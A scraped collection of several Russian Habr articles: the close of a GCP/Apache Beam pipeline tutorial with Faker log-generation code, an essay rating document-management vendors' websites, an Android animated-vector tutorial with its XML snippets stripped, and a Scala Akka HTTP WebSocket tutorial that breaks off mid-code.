Таким образом размещение данных в облачной базе данных казалось разумным способом решения моей первой проблемы, но что я мог сделать с проблемой номер 2? К счастью, был способ перенести эти данные в среду, где я мог получить доступ к таким инструментам, как Python и Google Cloud Platform (GCP). Однако это был долгий процесс, поэтому мне нужно было сделать что-то, что позволило бы мне продолжать разработку, пока я ждал окончания передачи данных. Решение, к которому я пришел, заключалось в создании поддельных данных с использованием библиотеки **Faker** в Python. Я никогда раньше не пользовался этой библиотекой, но быстро понял, насколько она полезна. Использование этого подхода позволило мне начать писать код и тестировать конвейер без фактических данных.
С учетом уже сказанного, в этом посте я расскажу, как я построил описанный выше конвейер, используя некоторые из технологий, доступных в GCP. В частности, я буду использовать **Apache Beam (версию для Python), Dataflow, Pub/Sub и Big Query** для сбора пользовательских логов, преобразования данных и передачи их в базу данных для дальнейшего анализа. В моем случае мне была нужна только пакетная функциональность Beam, поскольку мои данные не поступали в режиме реального времени, поэтому Pub/Sub не требовался. Однако я остановлюсь на потоковой версии, так как это то, с чем вы можете столкнуться на практике.
Введение в GCP и Apache Beam
----------------------------
Google Cloud Platform предоставляет набор действительно полезных инструментов для обработки больших данных. Вот некоторые из инструментов, которые я буду использовать:
* [Pub/Sub](https://cloud.google.com/pubsub/) — это служба обмена сообщениями, использующая шаблон Издатель-Подписчик (Publisher-Subscriber), которая позволяет нам получать данные в режиме реального времени.
* [DataFlow](https://cloud.google.com/dataflow/) — это сервис, который упрощает создание конвейеров данных и автоматически разрешает такие задачи, как масштабирование инфраструктуры, что означает, что мы можем сосредоточиться только на написании кода для нашего конвейера.
* [BigQuery](https://cloud.google.com/bigquery/) — это облачное хранилище данных. Если вы знакомы с другими базами данных на SQL, с BigQuery долго разбираться не придется.
* И наконец, мы будем использовать Apache Beam, а именно, сосредоточимся на Python версии для создания нашего конвейера. Этот инструмент позволит нам создать конвейер для потоковой или пакетной обработки, который интегрируется с GCP. Он особенно полезен для параллельной обработки и подходит для задач типа извлечения, преобразования и загрузки (ETL), поэтому, если нам нужно перемещать данные из одного места в другое с выполнением преобразований или вычислений, Beam — хороший выбор.
В GCP доступно большое количество инструментов, поэтому может быть сложно охватить их все, включая их предназначение, но тем не менее [вот](https://cloud.google.com/terms/services) краткое изложение для справки.
Визуализация нашего конвейера
-----------------------------
Давайте визуализируем компоненты нашего конвейера на *рисунке 1*. На высоком уровне мы хотим собирать пользовательские данные в режиме реального времени, обрабатывать их и передавать в BigQuery. Логи создаются, когда пользователи взаимодействуют с продуктом, отправляя запросы на сервер, которые затем и логируются. Эти данные могут быть особенно полезны для понимания того, как пользователи взаимодействуют с нашим продуктом и правильно ли они работают. В целом, конвейер будет содержать следующие этапы:
1. Данные логов наших пользователей публикуются в Pub/Sub-разделе.
2. Мы подключимся к Pub/Sub и преобразуем данные в соответствующий формат, используя Python и Beam (шаги 3 и 4 на рисунке 1).
3. После преобразования данных Beam затем подключится к BigQuery и добавит их в нашу таблицу (шаги 4 и 5 на рисунке 1).
4. Для проведения анализа мы можем подключиться к BigQuery, используя различные инструменты, такие как Tableau и Python.
Beam делает этот процесс очень простым, независимо от того, есть ли у нас потоковый источник данных или же файл CSV, и мы хотим выполнить пакетную обработку. Позже вы увидите, что в коде присутствуют лишь минимальные изменения, необходимые для переключения между ними. Это одно из преимуществ использования Beam.
*Рисунок 1: Основной конвейер данных*
Создание псевдоданных с помощью Faker
-------------------------------------
Как я уже упоминал ранее, из-за ограниченного доступа к данным я решил создать псевдоданные в том же формате, что и фактические. Это было действительно полезное упражнение, так как я мог написать код и протестировать конвейер, пока я ожидал данные. Предлагаю взглянуть на [документацию](https://faker.readthedocs.io/en/latest/index.html) Faker, если вы хотите узнать, что еще может предложить эта библиотека. Наши пользовательские данные будут в целом похожи на пример ниже. На основе этого формата мы можем построчно генерировать данные для имитации данных в реальном времени. Эти журналы дают нам такую информацию, как дата, тип запроса, ответ от сервера, IP-адрес и т. д.
`192.52.197.161 - - [30/Apr/2019:21:11:42] "PUT /tag/category/tag HTTP/1.1" [401] 155 "https://harris-lopez.com/categories/about/" "Mozilla/5.0 (Macintosh; PPC Mac OS X 10_11_2) AppleWebKit/5312 (KHTML, like Gecko) Chrome/34.0.855.0 Safari/5312"`
Основываясь на строке выше, мы хотим создать нашу переменную **LINE**, используя 7 переменных в фигурных скобках ниже. Мы также будем использовать их как имена переменных в нашей схеме таблиц чуть позже.
`LINE = """\
{remote_addr} - - [{time_local}] "{request_type} {request_path} HTTP/1.1" [{status}] {body_bytes_sent} "{http_referer}" "{http_user_agent}"\
"""`
Если бы мы выполняли пакетную обработку, код был бы очень похожим, хотя нам нужно было бы создать набор образцов в некотором временном диапазоне. Чтобы использовать фейкер, мы просто создаем объект и вызываем нужные нам методы. В частности, Faker был полезен для создания IP-адресов, а также веб-сайтов. Я использовал следующие методы:
`fake.ipv4()
fake.uri_path()
fake.uri()
fake.user_agent()`
```
from faker import Faker
import time
import random
import os
import numpy as np
from datetime import datetime, timedelta
LINE = """\
{remote_addr} - - [{time_local}] "{request_type} {request_path} HTTP/1.1" [{status}] {body_bytes_sent} "{http_referer}" "{http_user_agent}"\
"""
def generate_log_line():
fake = Faker()
now = datetime.now()
remote_addr = fake.ipv4()
time_local = now.strftime('%d/%b/%Y:%H:%M:%S')
request_type = random.choice(["GET", "POST", "PUT"])
request_path = "/" + fake.uri_path()
status = np.random.choice([200, 401, 404], p = [0.9, 0.05, 0.05])
body_bytes_sent = random.choice(range(5, 1000, 1))
http_referer = fake.uri()
http_user_agent = fake.user_agent()
log_line = LINE.format(
remote_addr=remote_addr,
time_local=time_local,
request_type=request_type,
request_path=request_path,
status=status,
body_bytes_sent=body_bytes_sent,
http_referer=http_referer,
http_user_agent=http_user_agent
)
return log_line
```
Конец первой части.
В ближайшие дни поделимся с вами продолжением статьи, а сейчас традиционно ждем комментарии ;-).
[Вторая часть](https://habr.com/ru/company/otus/blog/462589/) | https://habr.com/ru/post/454186/ | null | ru | null |
# Как я выбирал СЭД — о чем молчат вендоры
Недавно хорошие знакомые попросили помочь им выбрать систему документооборота со словами «ну ты же занимаешься этой всякой автоматизацией».
Я согласился, хотя и работаю в немного другом направлении и раньше вплотную не сталкивался с СЭД. То что я обнаружил в процессе изучения и сравнения разных решений мне настолько интересным, что я даже решился на небольшое расследование и теперь делюсь результатами.
Я обнаружил, что на рынке систем документооборота сложилась крайне странная ситуация. Такое ощущение, что производители как будто сговорились между собой и решили изо всех сил скрывать информацию о своих продуктах. Мне даже стало казаться, что они боятся, как бы я не увидел чего-то лишнего.
Получается, что я, как и другие покупатели, стараюсь узнать о функционале продукта, изучить и попробовать его перед покупкой, а разработчик делает всё, чтобы у меня ничего не вышло, зато щедро и многобуквенно рассказывает о достижении бизнес-целей, преимуществах, экономическом эффекте и прочих абстракциях, избегая показывать «товар лицом».
На первый взгляд странное поведение. Но вполне объяснимое, если копнуть глубже.
Этим мы сейчас и займёмся. Копнём на полную глубину и посмотрим, почему так происходит и как в таких условиях вести себя покупателю, чтобы таки увидеть то, что скрыто.
Обманутые ожидания
------------------
Давайте на секунду отойдем от темы электронного документооборота, чтобы никого не обидеть. Я просто предлагаю вам внимательно посмотреть на две картинки.
Это [Salesforce](http://salesforce.com) – одна из самых серьезных и авторитетных CRM-систем. На их сайте нужно пройти процедуру регистрации, в том числе указать название компании, количество сотрудников и свой телефон, чтобы просто посмотреть видеоролик о системе. Без этого Вы не увидите ни внятного описания функционала ни скриншотов, которые помогли бы составить впечатление о продукте.
А это [Битрикс24](http://www.bitrix24.ru/). У них достаточно просто ввести свой Email-адрес и через несколько секунд можно уже начать работу в системе, и через 15-20 минут вы на практике получите общее представление о возможностях предлагаемого решения.
Чувствуете разницу? Кто более открыт публике? У кого больше шансов «зацепить» клиента?
Так вот, ситуация на российском рынке систем электронного документооборота всё больше напоминает первую картинку. Почему? Потому что продавец (который делает сайт) и покупатель (который приходит на сайт) преследуют разные цели.
Позиция продавца — *«Расскажи мне о своих проблемах, а я покажу, как мой продукт их решает»*.
На что покупатель отвечает — *«Лучше ты просто покажешь товар, а я уж сам разберусь, что мне подходит, а что нет»*.
Только в условиях насыщенного рынка покупатель не очень-то стремится к диалогу, вот и получается, что клиент приходит на сайт с целью «примерить костюмчик», а вендор заколачивает витрины досками, и соглашается хоть что-то показать только, когда дверь за посетителем надёжно закроется.
Впрочем, такое парадоксальное поведение имеет простое объяснение — **так исторически сложилось.**
История вопроса
---------------
Давайте мысленно вернемся примерно в начало 2000-х и представим, что вы решили привнести в свой бизнес немного автоматизации. К примеру, организовать электронное согласование договоров или автоматизировать какие-нибудь заявки.
Для этого вам без сомнения пришлось бы взяться за реализацию серьезного и масштабного ИТ-проекта как минимум на 6-12 месяцев и несколько миллионов рублей (в сегодняшних деньгах). Этот проект по большей части состоял бы из работ по обследованию, составлению ТЗ, моделированию бизнес-процессов, модификации, адаптации, конфигурированию, настройке и внедрению ПО.
Сейчас же достаточно вбить пару слов в Google и к вашим услугам будут десятки, если не сотни сайтов, предлагающих готовые решения по автоматизации практически любого процесса.
Другими словами, раньше функционал никого особо не интересовал, потому что на рынке господствовали тяжелые платформенные продукты, в которых для конечных пользователей не было ничего интересного. Прежде чем что-то потрогать — следовало бы несколько месяцев поработать.
Сейчас же настало время универсальных, гибких, многофункциональных и доступных по цене решений. И вот здесь уже покупатель может делать выбор, опираясь исключительно на функционал продукта.
Еще несколько лет назад ни руководители предприятий, ни их сотрудники не были в состоянии поддержать диалог на тему внедрения того же электронного документооборота. Не были редкостью топ-менеджеры, которые вообще не пользовались компьютером, и работали только с бумажными документами.
Раньше вендорам не было смысла акцентировать внимание на функциях продукта, потому что никто кроме ИТ-специалистов не смог бы этого понять, а тем более осмыслить. Сами клиенты охотнее велись на такие вещи как известность бренда, наличие известных клиентов и пр.
Но за последние годы всё изменилось. Но современный клиент – совсем другой человек. Сегодня менеджер среднего звена (например, начальник общего отдела) вполне может обсудить вопрос синхронизации справочников 1С с внедряемой системой.
Современный клиент технически более грамотен и занимает активную позицию — он хочет и может самостоятельно изучить продукт и сделать собственные выводы на основе собственного опыта.
Посмотрите на любой рынок, где господствуют молодые компании и вы увидите это. Увидите стремление продавцов как можно больше показать и рассказать о своём продукте. Дать попробовать, прежде чем купить.
До поставщиков СЭД это еще не дошло. Они по-прежнему думают, что их покупатель такой же, каким был 10 лет назад. Они по-прежнему считают, что продают не продукт, а свою многолетнюю репутацию. Они по-прежнему предпочитают показывать отзывы, а не саму систему.
Что же делать? Как же нам выбрать подходящее решение, если вендоры совсем не хотят идти нам навстречу? Надо собирать информацию по крупицам и читать между строк.
Вот прямо сейчас и попробуем.
Процесс выбора
--------------
Перейдем к главному. Давайте посмотрим на процесс выбора СЭД и отметим, какая информация нам потребуется и насколько легко её можно найти на сайтах ведущих российских поставщиков.
### Шаг 1. Изучаем списки функциональных возможностей
Как и любой потенциальный клиент, я прихожу на сайт уже с некоторым пониманием своих проблем и способов их решений. Я примерно представляю, какой функционал мне необходим, поэтому отправной точкой для меня будет перечень функциональных возможностей системы. На этом этапе меня не интересуют детали — мне важно, обладает ли в принципе система необходимыми функциями. Зачастую от ответа на этот вопрос будет зависеть – продолжу ли я изучение этого сайта или пойду на следующий.
`Пример: Организация ведет интенсивную официальную переписку со своими обособленными подразделениями и другими организациями. Поэтому для меня критична функция регистрации входящих писем от контрагентов и государственных органов.`
Начать следует с таких разделов как «Описание решения», «Решаемые задачи», «Возможности» и пр. Постарайтесь найти список конкретных возможностей системы или решаемых задач. Обращайте внимание на уровень детализации, многие вендоры предпочитают общие формулировки типа «навести порядок в договорной работе» или акцентируют внимание на архитектуре, технологиях, поддержке разных СУБД и пр.
Если ничего более детального найти не удается — это сигнал о том, что возможно вендор пытается выдать своё решение за то, чем оно не является или надеется подогнать систему под ваши требования уже в ходе проекта.
**Хороший пример:**
[ТЕЗИС](http://www.tezis-doc.ru/). В разделе «Функциональность» находится простой и понятный перечень основных возможностей, разбитый по функциональным блокам. Позволяет сразу составить представление о системе.
**Плохой пример:**
[DocsVision.](http://www.docsvision.com/) Информация о функционале рассредоточена по описаниям платформы, модулей, бизнес-решений и доработок сторонних производителей. Разобраться в таком большом объёме данных непросто.
### Шаг 2. Ищем релевантные примеры использования
Допустим, я нашел интересующий меня функционал. Теперь надо понять, как именно это реализовано. Мне мало обещаний в стиле «возможность согласования документов» — мне важно, как в рамках этой возможности будут выполняться нужные мне операции.
`Пример: Продолжая тему регистрации входящих, мне важно понимать, на каких стадиях обработки есть возможность приложения скан-копий, как обрабатывается невскрытая корреспонденция, как регистрируется получение ответа на исходящее и пр.`
Для этого вам следует искать специальный раздел посвященный конкретной функции или модулю, либо дополнительные материалы. Зачастую на сайтах можно найти тематические презентации, посвященные конкретным процессам, например «Согласование договора в системе Х», «Автоматизация канцелярии» и тому подобное. Важно найти материалы, демонстрирующие решения проблем, максимально похожих на ваши.
Несмотря на очевидную необходимость примеров использования – очень немногие вендоры решаются на их публикацию. Частично это можно объяснить нежеланием поставщиков платформенных решений вписываться в рамки конкретных сценариев. Однако, на мой взгляд, даже в этом случае вполне возможно показать типовое решение, описав возможности его адаптации.
**Хороший пример:**
[Verdox](http://www.verdox.ru). В разделе «Виртуальный тур» представлено множество конкретных кейсов, каждый из которых – небольшая демонстрация соответствующего процесса с картинками и подробным описанием.
**Плохой пример:**
[МОТИВ](http://www.motiw.ru/). Вместо описания возможностей и функций – статья о необходимости и актуальности документооборота. Даже в примерах подробно описаны проблемы, но непонятно какие решения предлагаются.
### Шаг 3. Рассматриваем скриншоты
Как ни крути, а зачастую хороший скриншот может очень многое сказать о системе. Для меня изучение скриншотов – это обязательный этап выбора. И я — не исключение — современные покупатели зачастую обладают достаточным опытом, чтобы даже на основании снимка экрана сделать определённые выводы.
К тому же скриншот это своего рода доказательство того, написанное на сайте — правда. Одно дело написать что-то в списке функций и совсем другое — показать соответствующий экран.
`Пример: В списке возможностей Системы значится возможность вынесения резолюции по документу. При этом на скриншоте видно, что резолюции выносятся путём выбора готовых вариантов, а не произвольно, при этом можно прикладывать файлы. Таким образом, скриншот доносит гораздо больше информации, чем целый абзац текста.`
В большинстве случаев, у вас не возникнет проблем с тем, чтобы посмотреть скриншоты. Даже если их нет на сайте, вы вероятно увидите их в презентационных материалах. Обращайте внимание на количество и качество снимков. Сайт, с большим количеством скриншотов, которые можно рассмотреть и осмыслить скорее всего показывает правду.
Если же скриншотов мало или на них не видно деталей, то возможно разработка не так хороша, как вам расписывают.
**Хороший пример:**
[Optima Workflow](http://optima-workflow.ru/). Полноразмерные скриншоты сопровождаются подробным описанием того, что на них изображено.
**Плохой пример:**
[БОСС-Референт](http://www.boss-referent.ru/). Скриншотов нет вообще. Весь контент – текстовый. Для меня так и осталось загадкой – как же выглядит эта система. Впрочем, один скриншот на сайте найти удалось, правда он был настолько мелкий, что деталей не разобрать.
### Шаг 4. Смотрим видеоролики
Настало время углубленного изучения систем, прошедших наш предварительный отбор. Лучше всего для этого подходят видеоролики — это самый простой способ посмотреть решение в действии, при этом особо не напрягаясь.
Не нужно думать, что скриншоты и видеоролики – вещи взаимоисключающие. Скриншоты дают возможность самостоятельно выбирать, что смотреть и в каком порядке. Зато видео иллюстрирует работу системы гораздо более подробно.
`Пример: Вендор обещает, что регистрация нового документа будет простым и быстрым процессом. Тем не менее, на видео видно, что на самом деле для этого надо заполнить огромную карточку из 20 полей, которые находятся на разных вкладках. Причем в некоторых случаях совсем не понятно, какие значения надо указывать.`
Просматривая видео, можно поставить себя на место пользователя, увидеть и оценить вещи, которые никаким другим способом не обнаружить.
На сайтах можно найти видеоконтент трёх типов — короткие обзорные ролики, обучающие видео и записи вебинаров. Последние — не лучшее решение, зачастую на их просмотр может потребоваться не один час. К сожалению немногие вендоры выкладывают хорошие видео-ролики. В этом случае можно попробовать поискать видео за пределами официального сайта. Есть вероятность, что кто-нибудь записал его в рамках обзора системы, выступления на семинаре и пр.
**Хороший пример:**
Опять [ТЕЗИС](http://www.tezis-doc.ru/). В разделе «Видеоматериалы» представлено достаточное количество видеороликов. Сами ролики тоже очень хороши — оптимальная длина, закадровый голос и полноценная демонстрация работы.
**Плохой пример:**
[DocLogix](http://www.doclogix.lt/ru/). На первом видео женщина рассказывает, как ей понравилась система, но саму систему не показывает. На других есть запись работы в системе, но отсутствуют какие-либо комментарии, так что совершенно непонятно, что на роликах изображено. Такие видео только запутывают.
### 5. Демо-версия
Завершающий этап отбора — испытание системы в условиях приближенных к реальным. Для этого нам потребуется демонстрационная версия или бесплатный пробный период.
`Пример: Допустим, мне необходимо автоматизировать процесс работы с корреспонденцией, когда сотрудник А регистрирует документ, сотрудник Б выносит резолюцию, сотрудник В её исполняет, а сотрудник Г контролирует работу. Убедиться, что это возможно и понять насколько удобно можно только в демо-версии. Ни скриншоты, ни ролики не дадут такой возможности.`
И вот это самый редкий зверь. Очень немногие решаются предоставить демо-версию. На мой взгляд, причина проста – при работе с демо инициатива всегда на стороне клиента. Следовательно, все недостатки будут хорошо видны. Поэтому обычно демо-версии стараются не давать. Тем не менее, радостно видеть, что некоторые всё же набираются смелости и выкладывают демо в открытый доступ, как это уже давно принято у всех интернет-сервисов.
**Хороший пример:**
Опять [Verdox](http://www.verdox.ru). Одна из немногих систем, где демо-версия создаётся реально на лету без установки, разговоров с менеджером и прочего. Достаточно заполнить форму и подождать несколько минут.
**Плохой пример:**
[E1 Евфрат](http://www.evfrat.ru/). В открытом доступе демо-версии нет, но можно оставить заявку. Саму демо-версию дадут только после обстоятельного разговора с менеджером (мне перезвонили через 3 дня). При этом удаленного доступа нет — надо устанавливать сервер, СУБД и прочее, что без администратора сделать нереально.
### 6. Ценник
Ну и самое интересное напоследок. Если функционал и технические требования меня устраивают – время взглянуть на стоимость.
Здесь самое главное – прозрачность ценообразования, как на лицензии, так и на услуги внедрения. К счастью времена, когда стоимость была коммерческой тайной, уже почти у всех прошли. Однако не всегда неподготовленный пользователь может разобраться в прайс-листе.
Хороший пример:
Опять [Optima Workflow](http://optima-workflow.ru/). Редкий случай, когда раскрываются цены и на ПО и на услуги и на техническую поддержку. Всё, что нужно – это умножить количество пользователей на стоимость лицензии и прибавить единую стоимость типовых решений.
Плохой пример:
[Directum](http://www.directum.ru/). Мне показалось, что у этой системы самый запутанный ценник – серверные лицензии, клиентские лицензии, у каждой лицензии три разные редакции, лицензии на дополнительные модули, которых несколько десятков. Надо очень хорошо знать систему, чтобы самостоятельно собрать этот конструктор.
Резюме
------
В качестве итога предлагаю вашему вниманию сводную таблицу с перечнем некоторых из рассмотренных систем (в реальности их было гораздо больше) и моей субъективной оценкой по каждому пункту.
И дабы не провоцировать холивар еще раз напомню, что объектом изучения были сайты вендоров, а не сами продукты.
| Название | Список возможностей | Примеры использования | Cкриншоты | Видеоролики | Демо-версия | Ценообразование |
| --- | --- | --- | --- | --- | --- | --- |
| [Verdox](http://www.verdox.ru) | ★★★ | ★★★ | ★★ | ★ | ★★★ | ★★★ |
| [Optima Workflow](http://optima-workflow.ru/) | ★★ | ★★★ | ★★★ | НЕТ | ★★ | ★★★ |
| [DocsVision](http://www.docsvision.com/) | ★ | ★★ | ★★ | ★ | ★★★ | ★ |
| [ТЕЗИС](http://www.tezis-doc.ru/) | ★★★ | НЕТ | ★★★ | ★★ | НЕТ | ★★ |
| [МОТИВ](http://www.motiw.ru/) | ★ | НЕТ | ★★ | ★★ | ★★ | ★★★ |
| [1С-Документооборот](http://v8.1c.ru/doc8/index.htm) | ★ | ★ | ★★ | ★★ | ★★ | ★ |
| [Directum](http://www.directum.ru/) | ★ | ★ | ★★ | ★★★ | НЕТ | ★ |
| [ДЕЛО](http://www.eos.ru/) | ★★ | НЕТ | ★★ | ★★ | ★ | ★★ |
| [WSS Docs](http://www.wss-consulting.ru/wssdocs.php) | ★ | НЕТ | ★ | ★★ | НЕТ | ★★★ |
| [E1 Евфрат](http://www.evfrat.ru/) | ★★ | НЕТ | ★ | НЕТ | ★ | ★★★ |
| [БОСС-Референт](http://www.boss-referent.ru/) | ★★ | НЕТ | НЕТ | НЕТ | ★★ | НЕТ |
| [DocLogix](http://www.doclogix.lt/ru/) | ★ | НЕТ | НЕТ | ★ | ★ | НЕТ | | https://habr.com/ru/post/198536/ | null | ru | null |
# Работа с анимацией. AnimatedVectorDrawableCompat
В этой стате хотел бы всем рассказать и показать на практике, как можно делать анимацию в Android приложении при помощи AnimatedVectorDrawableCompat, например свои кастомные кнопки, ImageView, FloatingActionButton.
На сегодняшний день информации по этому поводу в сети не так много, точней ее совсем — нет. Все, что мне удалось найти — это недавние представленные новшества Google, а именно:
[Статья из Android Developer Blog](http://android-developers.blogspot.co.uk/2016/02/android-support-library-232.html)
[Видео с Google I/O 2016](https://www.youtube.com/watch?v=w45y_w4skKs)
[Android Reference](https://developer.android.com/reference/android/support/graphics/drawable/AnimatedVectorDrawableCompat.html)
Этого по сути мало, чтобы понять, как применить на практике AnimatedVectorDrawableCompat.
Теперь непосредственно перейдем к применению.
На первом этапе нам нужно избавиться от того, чтоб фреймворк превращал иконку в .png. С версии 23.3.0 можно использовать .xml и для это нужно в Gradle app level добавить следующий flag:
```
android {
...
defaultConfig {
...
vectorDrawables.useSupportLibrary = true
}
}
```
И в зависимость подключить последнюю версию AppComapt:
```
dependencies {
...
compile 'com.android.support:appcompat-v7:23.4.0'
}
```
Далее, в примере я буду использовать квадрат (синий), который будет немного накрывать своими углами круг (красный).
На выходе мы должны задействовать 2 объекта и заставить их непрерывно двигаться соответственно по оси X (квадрат) и Y (круг).
Шаги:
1)
Создаем Drawable Resource File, называем файл — icon.xml и кладем в папку drawable:
```
xml version="1.0" encoding="utf-8"?
```
2)
Для хранения анимации в своем проекте мы создаем папку animator — res/animator
В нее мы положим два объекта и назовем их соответственно:
a) circle.xml:
```
xml version="1.0" encoding="utf-8"?
```
b) square.xml
```
xml version="1.0" encoding="utf-8"?
```
Здесь же мы и указали, что объекты будут двигать по оси X и Y, откуда будут начинать движение, а также бесконечность движений.
Если у вас больше именованных групп, которые нужно анимировать — то вот в этой директории их и нужно создавать, соответсвенно и больше групп будут в основном файле — icon.xml
3)
Теперь создаем непосредственно анимированный файл, на который будем ссылаться в layout или в коде — res/drawable/anim\_icon:
```
xml version="1.0" encoding="utf-8"?
```
*Примечание: Android Studio подчёркивает красным animated-vector (если мин.версия проекта меньше 21), но если вы подключили flag, как указанно в начале — все заработает.*
4)
Теперь мы можем обращаться к анимированным векторам в xml. Это может быть — ImageView, ImageButton, FloatingActinonButton:
```
```
5)
Обращаемся из кода к векторам. Здесь я также повесил OnClickListener и сохранил состояние при перевороте:
```
static final String STATE_ANIM = "isAnim";
boolean mIsAnim;
AnimatedVectorDrawableCompat avd;
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
ImageView imageView = (ImageView) findViewById(R.id.imageView);
if (imageView != null) {
Drawable drawable = imageView.getDrawable();
avd = (AnimatedVectorDrawableCompat) drawable;
if (savedInstanceState != null) {
mIsAnim = savedInstanceState.getBoolean(STATE_ANIM);
if (mIsAnim) {
avd.start();
}
}
imageView.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
if (avd.isRunning()) {
avd.stop();
mIsAnim = false;
}
avd.start();
mIsAnim = true;
}
});
}
}
@Override
public void onSaveInstanceState(Bundle outState) {
super.onSaveInstanceState(outState);
outState.putBoolean(STATE_ANIM, mIsAnim);
}
}
```
*Примечание: не забудьте подтянуть зависимость:*
```
import android.support.graphics.drawable.AnimatedVectorDrawableCompat;
```
Результат проделанной работы:
P.S
Недавно появилась возможность объединить файлы my\_vector.xml и anim\_vector в одном anim\_vector (теперь отдельный файл res/drawable/my\_vector.xml не нужен), а также добавить сюда и файлы-аниматоры (objectAnimator) таким образом получится один файл на всю анимацию.
Представили это Google на I/O, но к сожалению — не работает. На [видео](https://www.youtube.com/watch?v=w45y_w4skKs) с 14 минуты говориться об этом. | https://habr.com/ru/post/302480/ | null | ru | null |
# WebSocket Akka HTTP на практике
Довольно продолжительное время существовала только одна достойная реализация работы с HTTP поверх Akka — [spray](http://spray.io/). К этой библиотеке пару умельцев написали расширения для WebSocket,
которое было вполне понятно в использовании и проблем не возникало. Но годы шли и spray, в том или ином виде, перекочевал в Akka HTTP с реализованной поддержкой WebSocket из коробки.
Для работы с WebSocket ребята из Akka предлагают нам использовать Akka Stream, тем самым упрощая нам жизнь с потоковыми данными и, одновременно, усложняя ее. Akka Stream не так прост в понимании. Далее я попытаюсь показать базовые практические примеры использования.
### Коротко об Akka Stream
Это своеобразный pipeline обработки данных, каждая итерация которого что-либо делает с данными, попадающими в него. Flow делится на 3 составляющие: Source, GraphStage, Sink.
Лучше всего это показано на диаграмме из документации
Для реализации WebSocket нам потребуется реализовывать GraphStagе. Source нам предоставляет akka, это как раз и есть наш клиент с летящими от него сообщениями. А Sink — сама отправка наших сообщений клиенту.
### Actor style
Пожалуй один из самых неэффективных способов обработки, но самый простой для понимания.
Идея его заключается в том, чтобы все входящие сообщения попадали в актор, и у него был *ActorRef*, который отправлял данные непосредственно клиенту.
```
import akka.actor.{Actor, ActorLogging, ActorRef, ActorSystem, Props, Terminated}
import akka.http.scaladsl.Http
import akka.http.scaladsl.model.ws._
import akka.stream.{ActorMaterializer, OverflowStrategy}
import akka.stream.scaladsl._
import akka.http.scaladsl.server.Directives._
import scala.io.StdIn
object Boot extends App {
implicit val system = ActorSystem("example")
implicit val materializer = ActorMaterializer()
def flow: Flow[Message, Message, Any] = {
val client = system.actorOf(Props(classOf[ClientConnectionActor]))
val in = Sink.actorRef(client, 'sinkclose)
val out = Source.actorRef(8, OverflowStrategy.fail).mapMaterializedValue { a ⇒
client ! ('income → a)
a
}
Flow.fromSinkAndSource(in, out)
}
val route = path("ws")(handleWebSocketMessages(flow))
val bindingFuture = Http().bindAndHandle(route, "localhost", 8080)
println(s"Server online at http://localhost:8080/\nPress RETURN to stop...")
StdIn.readLine()
import system.dispatcher
bindingFuture
.flatMap(_.unbind())
.onComplete(_ ⇒ system.terminate())
}
class ClientConnectionActor extends Actor {
var connection: Option[ActorRef] = None
val receive: Receive = {
case ('income, a: ActorRef) ⇒ connection = Some(a); context.watch(a)
case Terminated(a) if connection.contains(a) ⇒ connection = None; context.stop(self)
case 'sinkclose ⇒ context.stop(self)
case TextMessage.Strict(t) ⇒ connection.foreach(_ ! TextMessage.Strict(s"echo $t"))
case _ ⇒ // ingone
}
override def postStop(): Unit = connection.foreach(context.stop)
}
```
На каждое подключение клиента мы создаем актор *ClientConnectionActor*. А также *Source*, который будет представлять из себя еще один актор, направляющий полученные сообщения во flow. После его создания через метод *mapMaterializedValue* мы получим на него ссылку. Кроме этого мы создаем *Sink*, который все сообщения будет отправлять в *ClientConnectionActor*.
Таким образом *ClientConnectionActor* будет получать все сообщения из сокета. Отправлять мы их будем через прилетевший ему *ActorRef*, который будет доставлять их клиенту.
Минусы: необходимо следить за побочными акторами; быть аккуратным с *OverflowStrategy*; для обработки всех сообщений у нас всего один актор, он, соотвественно, однопоточный, из-за чего могут последовать проблемы с производительностью.
Производный вариант с использованием *ActorPublisher* и *ActorSubscriber* мы рассматривать не будем, так как, судя по официальной документации, он в состоянии ~~deprecated~~.
### Flow style
Идея данного подхода заключается в полном ипользовании Akka Stream для достижения целей. Общий вид его сводится к построению pipeline обработки входящих сообщений клиента.
**Скелет**
```
import akka.actor.ActorSystem
import akka.http.scaladsl.Http
import akka.http.scaladsl.model.ws._
import akka.stream.ActorMaterializer
import akka.stream.scaladsl._
import akka.http.scaladsl.server.Directives._
import scala.io.StdIn
object Boot extends App {
implicit val system = ActorSystem("example")
implicit val materializer = ActorMaterializer()
def flow: Flow[Message, Message, Any] = {
Flow[Message].collect {
case TextMessage.Strict(t) ⇒ t
}.map { text ⇒
TextMessage.Strict(s"echo: $text")
}
}
val route = path("ws")(handleWebSocketMessages(flow))
val bindingFuture = Http().bindAndHandle(route, "localhost", 8080)
println(s"Server online at http://localhost:8080/\nPress RETURN to stop...")
StdIn.readLine()
import system.dispatcher
bindingFuture
.flatMap(_.unbind())
.onComplete(_ ⇒ system.terminate())
}
```
В данном случае мы обрабатываем только текстовые сообщения и изменяем их. Дальше *TextMessage* отправляется клиенту.
Теперь немного усложним скелет и добавим парсинг и сериализацию JSON.
**Классы для сериализации**
```
trait WsIncome
trait WsOutgoing
@JsonCodec case class Say(name: String) extends WsIncome with WsOutgoing
implicit val WsIncomeDecoder: Decoder[WsIncome] = Decoder[Say].map[WsIncome](identity)
implicit val WsOutgoingEncoder: Encoder[WsOutgoing] = {
case s: Say ⇒ s.asJson
}
```
Модифицируем flow
```
Flow[Message]
.collect {
case tm: TextMessage ⇒ tm.textStream
}
.mapAsync(CORE_COUNT * 2 - 1)(in ⇒ in.runFold("")(_ + _).flatMap(in ⇒ Future.fromTry(parse(in).toTry.flatMap(_.as[WsIncome].toTry))))
.collect {
case Say(name) ⇒ Say(s"hello: $name")
}
.mapAsync(CORE_COUNT * 2 - 1)(out ⇒ Future(TextMessage(out.asJson.noSpaces)))
```
Сперва мы отсекаем все бинарные сообщения, далее парсим входящий поток в JSON, обрабатываем его и сериализуем в текст для отправки клиенту.
Усложним конструкцию, добавив контекст для каждого клиента. В этом нам поможет *statefulMapConcat*.
**ClientContext**
```
class ClientContext {
@volatile var userName: Option[String] = None
}
object ClientContext {
def unapply(arg: ClientContext): Option[String] = arg.userName
}
@JsonCodec case class SetName(name: String) extends WsIncome
@JsonCodec case class Say(text: String) extends WsIncome with WsOutgoing
implicit val WsIncomeDecoder: Decoder[WsIncome] =
Decoder[Say].map[WsIncome](identity)
.or(Decoder[SetName].map[WsIncome](identity))
```
```
def flow: Flow[Message, Message, Any] = {
Flow[Message]
